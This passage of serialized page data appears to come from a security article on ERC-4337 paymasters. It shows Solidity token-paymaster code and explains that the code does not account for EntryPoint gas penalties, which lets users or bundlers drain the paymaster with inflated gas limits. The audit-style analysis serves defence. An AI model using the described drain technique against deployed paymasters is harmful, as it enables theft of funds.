",{"type":23,"tag":75,"props":113644,"children":113645},{"style":209},[113646],{"type":29,"value":295},{"type":23,"tag":75,"props":113648,"children":113649},{"style":94},[113650],{"type":29,"value":113600},{"type":23,"tag":75,"props":113652,"children":113653},{"style":88},[113654],{"type":29,"value":113655},"unpackPostOpGasLimit",{"type":23,"tag":75,"props":113657,"children":113658},{"style":94},[113659],{"type":29,"value":1471},{"type":23,"tag":75,"props":113661,"children":113662},{"style":1266},[113663],{"type":29,"value":113664},"\"TPM: postOpGasLimit too low\"",{"type":23,"tag":75,"props":113666,"children":113667},{"style":94},[113668],{"type":29,"value":15099},{"type":23,"tag":75,"props":113670,"children":113671},{"class":77,"line":656},[113672,113676,113681,113685,113690,113694,113699,113703],{"type":23,"tag":75,"props":113673,"children":113674},{"style":104},[113675],{"type":29,"value":113463},{"type":23,"tag":75,"props":113677,"children":113678},{"style":94},[113679],{"type":29,"value":113680}," preChargeNative ",{"type":23,"tag":75,"props":113682,"children":113683},{"style":209},[113684],{"type":29,"value":212},{"type":23,"tag":75,"props":113686,"children":113687},{"style":94},[113688],{"type":29,"value":113689}," requiredPreFund ",{"type":23,"tag":75,"props":113691,"children":113692},{"style":209},[113693],{"type":29,"value":7862},{"type":23,"tag":75,"props":113695,"children":113696},{"style":94},[113697],{"type":29,"value":113698}," (refundPostopCost ",{"type":23,"tag":75,"props":113700,"children":113701},{"style":209},[113702],{"type":29,"value":601},{"type":23,"tag":75,"props":113704,"children":113705},{"style":94},[113706],{"type":29,"value":113707}," maxFeePerGas);\n",{"type":23,"tag":75,"props":113709,"children":113710},{"class":77,"line":705},[113711,113716,113720],{"type":23,"tag":75,"props":113712,"children":113713},{"style":3621},[113714],{"type":29,"value":113715},"            // ",{"type":23,"tag":75,"props":113717,"children":113718},{"style":82},[113719],{"type":29,"value":77936},{"type":23,"tag":75,"props":113721,"children":113722},{"style":3621},[113723],{"type":29,"value":113724},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":23,"tag":75,"props":113726,"children":113727},{"class":77,"line":787},[113728,113732,113737,113741,113746,113750,113755,113759],{"type":23,"tag":75,"props":113729,"children":113730},{"style":104},[113731],{"type":29,"value":113463},{"type":23,"tag":75,"props":113733,"children":113734},{"style":94},[113735],{"type":29,"value":113736}," cachedPriceWithMarkup ",{"type":23,"tag":75,"props":113738,"children":113739},{"style":209},[113740],{"type":29,"value":212},{"type":23,"tag":75,"props":113742,"children":113743},{"style":94},[113744],{"type":29,"value":113745}," cachedPrice ",{"type":23,"tag":75,"props":113747,"children":113748},{"style":209},[113749],{"type":29,"value":601},{"type":23,"tag":75,"props":113751,"children":113752},{"style":94},[113753],{"type":29,"value":113754}," DENOM ",{"type":23,"tag":75,"props":113756,"children":113757},{"style":209},[113758],{"type":29,"value":5647},{"type":23,"tag":75,"props":113760,"children":113761},{"style":94},[113762],{"type":29,"value":113763}," priceMarkup;\n",{"type":23,"tag":75,"props":113765,"children":113766},{"class":77,"line":826},[113767,113771,113776,113780,113784],{"type":23,"tag":75,"props":113768,"children":113769},{"style":175},[113770],{"type":29,"value":4629},{"type":23,"tag":75,"props":113772,"children":113773},{"style":94},[113774],{"type":29,"value":113775}," (dataLength ",{"type":23,"tag":75,"props":113777,"children":113778},{"style":209},[113779],{"type":29,"value":2469},{"type":23,"tag":75,"props":113781,"children":113782},{"style":237},[113783],{"type":29,"value":113566},{"type":23,"tag":75,"props":113785,"children":113786},{"style":94},[113787],{"type":29,"value":193},{"type":23,"tag":75,"props":113789,"children":113790},{"class":77,"line":834},[113791,113796,113801],{"type":23,"tag":75,"props":113792,"children":113793},{"style":104},[113794],{"type":29,"value":113795},"                uint256",{"type":23,"tag":75,"props":113797,"children":113798},{"style":94},[113799],{"type":29,"value":113800}," clientSuppliedPrice ",{"type":23,"tag":75,"props":113802,"children":113803},{"style":209},[113804],{"type":29,"value":25929},{"type":23,"tag":75,"props":113806,"children":113807},{"class":77,"line":881},[113808,113813,113817,113821,113826,113830,113835,113839,113843],{"type":23,"tag":75,"props":113809,"children":113810},{"style":104},[113811],{"type":29,"value":113812},"                    uint256",{"type":23,"tag":75,"props":113814,"children":113815},{"style":94},[113816],{"type":29,"value":643},{"type":23,"tag":75,"props":113818,"children":113819},{"style":104},[113820],{"type":29,"value":113361},{"type":23,"tag":75,"props":113822,"children":113823},{"style":94},[113824],{"type":29,"value":113825},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":23,"tag":75,"props":113827,"children":113828},{"style":209},[113829],{"type":29,"value":1018},{"type":23,"tag":75,"props":113831,"children":113832},{"style":94},[113833],{"type":29,"value":113834},"PAYMASTER_DATA_OFFSET ",{"type":23,"tag":75,"props":113836,"children":113837},{"style":209},[113838],{"type":29,"value":7862},{"type":23,"tag":75,"props":113840,"children":113841},{"style":237},[113842],{"type":29,"value":113566},{"type":23,"tag":75,"props":113844,"children":113845},{"style":94},[113846],{"type":29,"value":113847},"]));\n",{"type":23,"tag":75,"props":113849,"children":113850},{"class":77,"line":3355},[113851,113856,113861,113865],{"type":23,"tag":75,"props":113852,"children":113853},{"style":175},[113854],{"type":29,"value":113855},"                if",{"type":23,"tag":75,"props":113857,"children":113858},{"style":94},[113859],{"type":29,"value":113860}," (clientSuppliedPrice ",{"type":23,"tag":75,"props":113862,"children":113863},{"style":209},[113864],{"type":29,"value":295},{"type":23,"tag":75,"props":113866,"children":113867},{"style":94},[113868],{"type":29,"value":113869}," cachedPriceWithMarkup) {\n",{"type":23,"tag":75,"props":113871,"children":113872},{"class":77,"line":3390},[113873,113878,113882],{"type":23,"tag":75,"props":113874,"children":113875},{"style":3621},[113876],{"type":29,"value":113877},"                    // ",{"type":23,"tag":75,"props":113879,"children":113880},{"style":82},[113881],{"type":29,"value":77936},{"type":23,"tag":75,"props":113883,"children":113884},{"style":3621},[113885],{"type":29,"value":113886},": smaller number means 'more native asset per token'\n",{"type":23,"tag":75,"props":113888,"children":113889},{"class":77,"line":3423},[113890,113895,113899],{"type":23,"tag":75,"props":113891,"children":113892},{"style":94},[113893],{"type":29,"value":113894},"                    cachedPriceWithMarkup ",{"type":23,"tag":75,"props":113896,"children":113897},{"style":209},[113898],{"type":29,"value":212},{"type":23,"tag":75,"props":113900,"children":113901},{"style":94},[113902],{"type":29,"value":113903}," clientSuppliedPrice;\n",{"type":23,"tag":75,"props":113905,"children":113906},{"class":77,"line":3436},[113907],{"type":23,"tag":75,"props":113908,"children":113909},{"style":94},[113910],{"type":29,"value":4964},{"type":23,"tag":75,"props":113912,"children":113913},{"class":77,"line":3449},[113914],{"type":23,"tag":75,"props":113915,"children":113916},{"style":94},[113917],{"type":29,"value":5022},{"type":23,"tag":75,"props":113919,"children":113920},{"class":77,"line":3457},[113921,113925,113930,113934,113939],{"type":23,"tag":75,"props":113922,"children":113923},{"style":104},[113924],{"type":29,"value":113463},{"type":23,"tag":75,"props":113926,"children":113927},{"style":94},[113928],{"type":29,"value":113929}," tokenAmount ",{"type":23,"tag":75,"props":113931,"children":113932},{"style":209},[113933],{"type":29,"value":212},{"type":23,"tag":75,"props":113935,"children":113936},{"style":88},[113937],{"type":29,"value":113938}," weiToToken",{"type":23,"tag":75,"props":113940,"children":113941},{"style":94},[113942],{"type":29,"value":113943},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":75,"props":113945,"children":113946},{"class":77,"line":3465},[113947,113952,113956],{"type":23,"tag":75,"props":113948,"children":113949},{"style":94},[113950],{"type":29,"value":113951},"            tokenAmount ",{"type":23,"tag":75,"props":113953,"children":113954},{"style":209},[113955],{"type":29,"value":314},{"type":23,"tag":75,"props":113957,"children":113958},{"style":94},[113959],{"type":29,"value":113960}," baseFee;\n",{"type":23,"tag":75,"props":113962,"children":113963},{"class":77,"line":3473},[113964,113969,113974,113979,113983,113987,113991],{"type":23,"tag":75,"props":113965,"children":113966},{"style":94},[113967],{"type":29,"value":113968},"            SafeERC20.",{"type":23,"tag":75,"props":113970,"children":113971},{"style":88},[113972],{"type":29,"value":113973},"safeTransferFrom",{"type":23,"tag":75,"props":113975,"children":113976},{"style":94},[113977],{"type":29,"value":113978},"(token, userOp.sender, ",{"type":23,"tag":75,"props":113980,"children":113981},{"style":104},[113982],{"type":29,"value":43834},{"type":23,"tag":75,"props":113984,"children":113985},{"style":94},[113986],{"type":29,"value":643},{"type":23,"tag":75,"props":113988,"children":113989},{"style":82},[113990],{"type":29,"value":947},{"type":23,"tag":75,"props":113992,"children":113993},{"style":94},[113994],{"type":29,"value":113995},"), tokenAmount);\n",{"type":23,"tag":75,"props":113997,"children":113998},{"class":77,"line":3481},[113999,114004,114008,114013,114017,114022],{"type":23,"tag":75,"props":114000,"children":114001},{"style":94},[114002],{"type":29,"value":114003},"            context ",{"type":23,"tag":75,"props":114005,"children":114006},{"style":209},[114007],{"type":29,"value":212},{"type":23,"tag":75,"props":114009,"children":114010},{"style":82},[114011],{"type":29,"value":114012}," abi",{"type":23,"tag":75,"props":114014,"children":114015},{"style":94},[114016],{"type":29,"value":557},{"type":23,"tag":75,"props":114018,"children":114019},{"style":88},[114020],{"type":29,"value":114021},"encode",{"type":23,"tag":75,"props":114023,"children":114024},{"style":94},[114025],{"type":29,"value":114026},"(tokenAmount, userOp.sender);\n",{"type":23,"tag":75,"props":114028,"children":114029},{"class":77,"line":3524},[114030,114035],{"type":23,"tag":75,"props":114031,"children":114032},{"style":94},[114033],{"type":29,"value":114034},"            validationResult ",{"type":23,"tag":75,"props":114036,"children":114037},{"style":209},[114038],{"type":29,"value":25929},{"type":23,"tag":75,"props":114040,"children":114041},{"class":77,"line":4890},[114042,114047,114051,114055,114059,114064,114069,114073,114078,114082],{"type":23,"tag":75,"props":114043,"children":114044},{"style":88},[114045],{"type":29,"value":114046},"                _packValidationData",{"type":23,"tag":75,"props":114048,"children":114049},{"style":94},[114050],{"type":29,"value":643},{"type":23,"tag":75,"props":114052,"children":114053},{"style":82},[114054],{"type":29,"value":19434},{"type":23,"tag":75,"props":114056,"children":114057},{"style":94},[114058],{"type":29,"value":611},{"type":23,"tag":75,"props":114060,"children":114061},{"style":104},[114062],{"type":29,"value":114063},"uint48",{"type":23,"tag":75,"props":114065,"children":114066},{"style":94},[114067],{"type":29,"value":114068},"(cachedPriceTimestamp ",{"type":23,"tag":75,"props":114070,"children":114071},{"style":209},[114072],{"type":29,"value":7862},{"type":23,"tag":75,"props":114074,"children":114075},{"style":94},[114076],{"type":29,"value":114077}," tokenPaymasterConfig.priceMaxAge), ",{"type":23,"tag":75,"props":114079,"children":114080},{"style":237},[114081],{"type":29,"value":648},{"type":23,"tag":75,"props":114083,"children":114084},{"style":94},[114085],{"type":29,"value":15099},{"type":23,"tag":75,"props":114087,"children":114088},{"class":77,"line":4937},[114089],{"type":23,"tag":75,"props":114090,"children":114091},{"style":94},[114092],{"type":29,"value":2503},{"type":23,"tag":75,"props":114094,"children":114095},{"class":77,"line":4950},[114096],{"type":23,"tag":75,"props":114097,"children":114098},{"style":94},[114099],{"type":29,"value":346},{"type":23,"tag":75,"props":114101,"children":114102},{"class":77,"line":4958},[114103],{"type":23,"tag":75,"props":114104,"children":114105},{"style":94},[114106],{"type":29,"value":21566},{"type":23,"tag":75,"props":114108,"children":114109},{"class":77,"line":4967},[114110,114114,114119,114123,114128,114132,114136,114140,114144,114148,114152,114157,114161,114165,114170],{"type":23,"tag":75,"props":114111,"children":114112},{"style":82},[114113],{"type":29,"value":100166},{"type":23,"tag":75,"props":114115,"children":114116},{"style":88},[114117],{"type":29,"value":114118}," _postOp",{"type":23,"tag":75,"props":114120,"children":114121},{"style":94},[114122],{"type":29,"value":643},{"type":23,"tag":75,"props":114124,"children":114125},{"style":82},[114126],{"type":29,"value":114127},"PostOpMode",{"type":23,"tag":75,"props":114129,"children":114130},{"style":94},[114131],{"type":29,"value":611},{"type":23,"tag":75,"props":114133,"children":114134},{"style":104},[114135],{"type":29,"value":8209},{"type":23,"tag":75,"props":114137,"children":114138},{"style":82},[114139],{"type":29,"value":113347},{"type":23,"tag":75,"props":114141,"children":114142},{"style":110},[114143],{"type":29,"value":552},{"type":23,"tag":75,"props":114145,"children":114146},{"style":94},[114147],{"type":29,"value":611},{"type":23,"tag":75,"props":114149,"children":114150},{"style":104},[114151],{"type":29,"value":57360},{"type":23,"tag":75,"props":114153,"children":114154},{"style":110},[114155],{"type":29,"value":114156}," actualGasCost",{"type":23,"tag":75,"props":114158,"children":114159},{"style":94},[114160],{"type":29,"value":611},{"type":23,"tag":75,"props":114162,"children":114163},{"style":104},[114164],{"type":29,"value":57360},{"type":23,"tag":75,"props":114166,"children":114167},{"style":110},[114168],{"type":29,"value":114169}," actualUserOpFeePerGas",{"type":23,"tag":75,"props":114171,"children":114172},{"style":94},[114173],{"type":29,"value":653},{"type":23,"tag":75,"props":114175,"children":114176},{"class":77,"line":4975},[114177],{"type":23,"tag":75,"props":114178,"children":114179},{"style":82},[114180],{"type":29,"value":113386},{"type":23,"tag":75,"props":114182,"children":114183},{"class":77,"line":5016},[114184],{"type":23,"tag":75,"props":114185,"children":114186},{"style":82},[114187],{"type":29,"value":113394},{"type":23,"tag":75,"props":114189,"children":114190},{"class":77,"line":5025},[114191],{"type":23,"tag":75,"props":114192,"children":114193},{"style":94},[114194],{"type":29,"value":40383},{"type":23,"tag":75,"props":114196,"children":114197},{"class":77,"line":5033},[114198,114202],{"type":23,"tag":75,"props":114199,"children":114200},{"style":175},[114201],{"type":29,"value":113451},{"type":23,"tag":75,"props":114203,"children":114204},{"style":94},[114205],{"type":29,"value":401},{"type":23,"tag":75,"props":114207,"children":114208},{"class":77,"line":5041},[114209,114213,114217,114221],{"type":23,"tag":75,"props":114210,"children":114211},{"style":104},[114212],{"type":29,"value":113463},{"type":23,"tag":75,"props":114214,"children":114215},{"style":94},[114216],{"type":29,"value":113468},{"type":23,"tag":75,"props":114218,"children":114219},{"style":209},[114220],{"type":29,"value":212},{"type":23,"tag":75,"props":114222,"children":114223},{"style":94},[114224],{"type":29,"value":113477},{"type":23,"tag":75,"props":114226,"children":114227},{"class":77,"line":5050},[114228,114232,114236,114240],{"type":23,"tag":75,"props":114229,"children":114230},{"style":104},[114231],{"type":29,"value":113463},{"type":23,"tag":75,"props":114233,"children":114234},{"style":94},[114235],{"type":29,"value":113489},{"type":23,"tag":75,"props":114237,"children":114238},{"style":209},[114239],{"type":29,"value":212},{"type":23,"tag":75,"props":114241,"children":114242},{"style":94},[114243],{"type":29,"value":113498},{"type":23,"tag":75,"props":114245,"children":114246},{"class":77,"line":5058},[114247,114252,114256,114261,114265,114270,114274,114278,114282,114287,114292,114296,114300,114304],{"type":23,"tag":75,"props":114248,"children":114249},{"style":94},[114250],{"type":29,"value":114251},"            (",{"type":23,"tag":75,"props":114253,"children":114254},{"style":104},[114255],{"type":29,"value":57360},{"type":23,"tag":75,"props":114257,"children":114258},{"style":94},[114259],{"type":29,"value":114260}," preCharge, ",{"type":23,"tag":75,"props":114262,"children":114263},{"style":104},[114264],{"type":29,"value":43834},{"type":23,"tag":75,"props":114266,"children":114267},{"style":94},[114268],{"type":29,"value":114269}," userOpSender) ",{"type":23,"tag":75,"props":114271,"children":114272},{"style":209},[114273],{"type":29,"value":212},{"type":23,"tag":75,"props":114275,"children":114276},{"style":82},[114277],{"type":29,"value":114012},{"type":23,"tag":75,"props":114279,"children":114280},{"style":94},[114281],{"type":29,"value":557},{"type":23,"tag":75,"props":114283,"children":114284},{"style":88},[114285],{"type":29,"value":114286},"decode",{"type":23,"tag":75,"props":114288,"children":114289},{"style":94},[114290],{"type":29,"value":114291},"(context, (",{"type":23,"tag":75,"props":114293,"children":114294},{"style":104},[114295],{"type":29,"value":57360},{"type":23,"tag":75,"props":114297,"children":114298},{"style":94},[114299],{"type":29,"value":611},{"type":23,"tag":75,"props":114301,"children":114302},{"style":104},[114303],{"type":29,"value":43834},{"type":23,"tag":75,"props":114305,"children":114306},{"style":94},[114307],{"type":29,"value":18485},{"type":23,"tag":75,"props":114309,"children":114310},{"class":77,"line":5083},[114311,114316,114321,114326],{"type":23,"tag":75,"props":114312,"children":114313},{"style":94},[114314],{"type":29,"value":114315},"            preCharge ",{"type":23,"tag":75,"props":114317,"children":114318},{"style":209},[114319],{"type":29,"value":114320},"-=",{"type":23,"tag":75,"props":114322,"children":114323},{"style":94},[114324],{"type":29,"value":114325}," baseFee; ",{"type":23,"tag":75,"props":114327,"children":114328},{"style":3621},[114329],{"type":29,"value":114330},"// don't refund the base fee\n",{"type":23,"tag":75,"props":114332,"children":114333},{"class":77,"line":5108},[114334,114338,114343,114347,114352,114356,114360],{"type":23,"tag":75,"props":114335,"children":114336},{"style":104},[114337],{"type":29,"value":113463},{"type":23,"tag":75,"props":114339,"children":114340},{"style":94},[114341],{"type":29,"value":114342}," _cachedPrice ",{"type":23,"tag":75,"props":114344,"children":114345},{"style":209},[114346],{"type":29,"value":212},{"type":23,"tag":75,"props":114348,"children":114349},{"style":88},[114350],{"type":29,"value":114351}," updateCachedPrice",{"type":23,"tag":75,"props":114353,"children":114354},{"style":94},[114355],{"type":29,"value":643},{"type":23,"tag":75,"props":114357,"children":114358},{"style":82},[114359],{"type":29,"value":19434},{"type":23,"tag":75,"props":114361,"children":114362},{"style":94},[114363],{"type":29,"value":15099},{"type":23,"tag":75,"props":114365,"children":114366},{"class":77,"line":5137},[114367,114371,114375],{"type":23,"tag":75,"props":114368,"children":114369},{"style":3621},[114370],{"type":29,"value":113715},{"type":23,"tag":75,"props":114372,"children":114373},{"style":82},[114374],{"type":29,"value":77936},{"type":23,"tag":75,"props":114376,"children":114377},{"style":3621},[114378],{"type":29,"value":113724},{"type":23,"tag":75,"props":114380,"children":114381},{"class":77,"line":5163},[114382,114386,114390,114394,114398,114402,114406,114410],{"type":23,"tag":75,"props":114383,"children":114384},{"style":104},[114385],{"type":29,"value":113463},{"type":23,"tag":75,"props":114387,"children":114388},{"style":94},[114389],{"type":29,"value":113736},{"type":23,"tag":75,"props":114391,"children":114392},{"style":209},[114393],{"type":29,"value":212},{"type":23,"tag":75,"props":114395,"children":114396},{"style":94},[114397],{"type":29,"value":114342},{"type":23,"tag":75,"props":114399,"children":114400},{"style":209},[114401],{"type":29,"value":601},{"type":23,"tag":75,"props":114403,"children":114404},{"style":94},[114405],{"type":29,"value":113754},{"type":23,"tag":75,"props":114407,"children":114408},{"style":209},[114409],{"type":29,"value":5647},{"type":23,"tag":75,"props":114411,"children":114412},{"style":94},[114413],{"type":29,"value":113763},{"type":23,"tag":75,"props":114415,"children":114416},{"class":77,"line":5172},[114417],{"type":23,"tag":75,"props":114418,"children":114419},{"style":3621},[114420],{"type":29,"value":114421},"            // Refund tokens based on actual gas cost\n",{"type":23,"tag":75,"props":114423,"children":114424},{"class":77,"line":5206},[114425,114429,114434,114438,114443,114447,114452,114456],{"type":23,"tag":75,"props":114426,"children":114427},{"style":104},[114428],{"type":29,"value":113463},{"type":23,"tag":75,"props":114430,"children":114431},{"style":94},[114432],{"type":29,"value":114433}," actualChargeNative ",{"type":23,"tag":75,"props":114435,"children":114436},{"style":209},[114437],{"type":29,"value":212},{"type":23,"tag":75,"props":114439,"children":114440},{"style":94},[114441],{"type":29,"value":114442}," actualGasCost ",{"type":23,"tag":75,"props":114444,"children":114445},{"style":209},[114446],{"type":29,"value":7862},{"type":23,"tag":75,"props":114448,"children":114449},{"style":94},[114450],{"type":29,"value":114451}," tokenPaymasterConfig.refundPostopCost ",{"type":23,"tag":75,"props":114453,"children":114454},{"style":209},[114455],{"type":29,"value":601},{"type":23,"tag":75,"props":114457,"children":114458},{"style":94},[114459],{"type":29,"value":114460}," actualUserOpFeePerGas;\n",{"type":23,"tag":75,"props":114462,"children":114463},{"class":77,"line":5214},[114464,114468,114473,114477,114481],{"type":23,"tag":75,"props":114465,"children":114466},{"style":104},[114467],{"type":29,"value":113463},{"type":23,"tag":75,"props":114469,"children":114470},{"style":94},[114471],{"type":29,"value":114472}," actualTokenNeeded ",{"type":23,"tag":75,"props":114474,"children":114475},{"style":209},[114476],{"type":29,"value":212},{"type":23,"tag":75,"props":114478,"children":114479},{"style":88},[114480],{"type":29,"value":113938},{"type":23,"tag":75,"props":114482,"children":114483},{"style":94},[114484],{"type":29,"value":114485},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":75,"props":114487,"children":114488},{"class":77,"line":5227},[114489,114493,114498,114502],{"type":23,"tag":75,"props":114490,"children":114491},{"style":175},[114492],{"type":29,"value":4629},{"type":23,"tag":75,"props":114494,"children":114495},{"style":94},[114496],{"type":29,"value":114497}," (preCharge ",{"type":23,"tag":75,"props":114499,"children":114500},{"style":209},[114501],{"type":29,"value":4652},{"type":23,"tag":75,"props":114503,"children":114504},{"style":94},[114505],{"type":29,"value":114506}," actualTokenNeeded) {\n",{"type":23,"tag":75,"props":114508,"children":114509},{"class":77,"line":5259},[114510],{"type":23,"tag":75,"props":114511,"children":114512},{"style":3621},[114513],{"type":29,"value":114514},"                // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":23,"tag":75,"props":114516,"children":114517},{"class":77,"line":5315},[114518,114523,114528,114533,114537],{"type":23,"tag":75,"props":114519,"children":114520},{"style":94},[114521],{"type":29,"value":114522},"                SafeERC20.",{"type":23,"tag":75,"props":114524,"children":114525},{"style":88},[114526],{"type":29,"value":114527},"safeTransfer",{"type":23,"tag":75,"props":114529,"children":114530},{"style":94},[114531],{"type":29,"value":114532},"(token, userOpSender, preCharge ",{"type":23,"tag":75,"props":114534,"children":114535},{"style":209},[114536],{"type":29,"value":15602},{"type":23,"tag":75,"props":114538,"children":114539},{"style":94},[114540],{"type":29,"value":114541}," actualTokenNeeded);\n",{"type":23,"tag":75,"props":114543,"children":114544},{"class":77,"line":5328},[114545,114549,114553,114557,114561,114565],{"type":23,"tag":75,"props":114546,"children":114547},{"style":94},[114548],{"type":29,"value":81766},{"type":23,"tag":75,"props":114550,"children":114551},{"style":175},[114552],{"type":29,"value":6878},{"type":23,"tag":75,"props":114554,"children":114555},{"style":175},[114556],{"type":29,"value":7386},{"type":23,"tag":75,"props":114558,"children":114559},{"style":94},[114560],{"type":29,"value":114497},{"type":23,"tag":75,"props":114562,"children":114563},{"style":209},[114564],{"type":29,"value":295},{"type":23,"tag":75,"props":114566,"children":114567},{"style":94},[114568],{"type":29,"value":114506},{"type":23,"tag":75,"props":114570,"children":114571},{"class":77,"line":5336},[114572],{"type":23,"tag":75,"props":114573,"children":114574},{"style":3621},[114575],{"type":29,"value":114576},"                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":23,"tag":75,"props":114578,"children":114579},{"class":77,"line":5344},[114580],{"type":23,"tag":75,"props":114581,"children":114582},{"style":3621},[114583],{"type":29,"value":114584},"                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":23,"tag":75,"props":114586,"children":114587},{"class":77,"line":5352},[114588,114592,114596,114601,114605,114609,114613,114618,114622],{"type":23,"tag":75,"props":114589,"children":114590},{"style":94},[114591],{"type":29,"value":114522},{"type":23,"tag":75,"props":114593,"children":114594},{"style":88},[114595],{"type":29,"value":113973},{"type":23,"tag":75,"props":114597,"children":114598},{"style":94},[114599],{"type":29,"value":114600},"(token, userOpSender, ",{"type":23,"tag":75,"props":114602,"children":114603},{"style":104},[114604],{"type":29,"value":43834},{"type":23,"tag":75,"props":114606,"children":114607},{"style":94},[114608],{"type":29,"value":643},{"type":23,"tag":75,"props":114610,"children":114611},{"style":82},[114612],{"type":29,"value":947},{"type":23,"tag":75,"props":114614,"children":114615},{"style":94},[114616],{"type":29,"value":114617},"), actualTokenNeeded ",{"type":23,"tag":75,"props":114619,"children":114620},{"style":209},[114621],{"type":29,"value":15602},{"type":23,"tag":75,"props":114623,"children":114624},{"style":94},[114625],{"type":29,"value":114626}," preCharge);\n",{"type":23,"tag":75,"props":114628,"children":114629},{"class":77,"line":5392},[114630],{"type":23,"tag":75,"props":114631,"children":114632},{"style":94},[114633],{"type":29,"value":5022},{"type":23,"tag":75,"props":114635,"children":114636},{"class":77,"line":5400},[114637],{"type":23,"tag":75,"props":114638,"children":114639},{"emptyLinePlaceholder":15},[114640],{"type":29,"value":276},{"type":23,"tag":75,"props":114642,"children":114643},{"class":77,"line":12616},[114644,114648,114653,114657,114661],{"type":23,"tag":75,"props":114645,"children":114646},{"style":175},[114647],{"type":29,"value":4629},{"type":23,"tag":75,"props":114649,"children":114650},{"style":94},[114651],{"type":29,"value":114652}," (baseFee ",{"type":23,"tag":75,"props":114654,"children":114655},{"style":209},[114656],{"type":29,"value":4652},{"type":23,"tag":75,"props":114658,"children":114659},{"style":237},[114660],{"type":29,"value":240},{"type":23,"tag":75,"props":114662,"children":114663},{"style":94},[114664],{"type":29,"value":193},{"type":23,"tag":75,"props":114666,"children":114667},{"class":77,"line":12624},[114668,114672,114676],{"type":23,"tag":75,"props":114669,"children":114670},{"style":94},[114671],{"type":29,"value":114522},{"type":23,"tag":75,"props":114673,"children":114674},{"style":88},[114675],{"type":29,"value":114527},{"type":23,"tag":75,"props":114677,"children":114678},{"style":94},[114679],{"type":29,"value":114680},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":23,"tag":75,"props":114682,"children":114683},{"class":77,"line":111912},[114684],{"type":23,"tag":75,"props":114685,"children":114686},{"style":94},[114687],{"type":29,"value":5022},{"type":23,"tag":75,"props":114689,"children":114690},{"class":77,"line":111920},[114691],{"type":23,"tag":75,"props":114692,"children":114693},{"emptyLinePlaceholder":15},[114694],{"type":29,"value":276},{"type":23,"tag":75,"props":114696,"children":114697},{"class":77,"line":111928},[114698,114703,114708],{"type":23,"tag":75,"props":114699,"children":114700},{"style":175},[114701],{"type":29,"value":114702},"            emit",{"type":23,"tag":75,"props":114704,"children":114705},{"style":88},[114706],{"type":29,"value":114707}," UserOperationSponsored",{"type":23,"tag":75,"props":114709,"children":114710},{"style":94},[114711],{"type":29,"value":114712},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":23,"tag":75,"props":114714,"children":114715},{"class":77,"line":111936},[114716,114721],{"type":23,"tag":75,"props":114717,"children":114718},{"style":88},[114719],{"type":29,"value":114720},"            refillEntryPointDeposit",{"type":23,"tag":75,"props":114722,"children":114723},{"style":94},[114724],{"type":29,"value":114725},"(_cachedPrice);\n",{"type":23,"tag":75,"props":114727,"children":114728},{"class":77,"line":111964},[114729],{"type":23,"tag":75,"props":114730,"children":114731},{"style":94},[114732],{"type":29,"value":2503},{"type":23,"tag":75,"props":114734,"children":114736},{"class":77,"line":114735},67,[114737],{"type":23,"tag":75,"props":114738,"children":114739},{"style":94},[114740],{"type":29,"value":346},{"type":23,"tag":75,"props":114742,"children":114744},{"class":77,"line":114743},68,[114745],{"type":23,"tag":75,"props":114746,"children":114747},{"style":94},[114748],{"type":29,"value":369},{"type":23,"tag":32,"props":114750,"children":114751},{},[114752,114754,114760,114762,114767,114769,114775],{"type":29,"value":114753},"Looking at the code above, during ",{"type":23,"tag":71,"props":114755,"children":114757},{"className":114756},[],[114758],{"type":29,"value":114759},"validatePaymasterUserOp",{"type":29,"value":114761},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":23,"tag":71,"props":114763,"children":114765},{"className":114764},[],[114766],{"type":29,"value":112818},{"type":29,"value":114768}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":23,"tag":71,"props":114770,"children":114772},{"className":114771},[],[114773],{"type":29,"value":114774},"postOp",{"type":29,"value":114776},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":23,"tag":32,"props":114778,"children":114779},{},[114780,114782,114787,114789,114796],{"type":29,"value":114781},"However, there is a critical oversight: ",{"type":23,"tag":16596,"props":114783,"children":114784},{},[114785],{"type":29,"value":114786},"the code does not account for gas penalties",{"type":29,"value":114788},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":23,"tag":940,"props":114790,"children":114793},{"href":114791,"rel":114792},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[944],[114794],{"type":29,"value":114795},"penalties incurred",{"type":29,"value":114797}," from differences between the execution gas limit and actual execution gas.",{"type":23,"tag":32,"props":114799,"children":114800},{},[114801],{"type":29,"value":114802},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":23,"tag":32,"props":114804,"children":114805},{},[114806,114808,114813],{"type":29,"value":114807},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":23,"tag":71,"props":114809,"children":114811},{"className":114810},[],[114812],{"type":29,"value":112517},{"type":29,"value":114814}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":23,"tag":24,"props":114816,"children":114818},{"id":114817},"incorrect-erc-20-handling",[114819],{"type":23,"tag":16596,"props":114820,"children":114821},{},[114822],{"type":29,"value":114823},"Incorrect ERC-20 Handling",{"type":23,"tag":32,"props":114825,"children":114826},{},[114827],{"type":29,"value":114828},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful 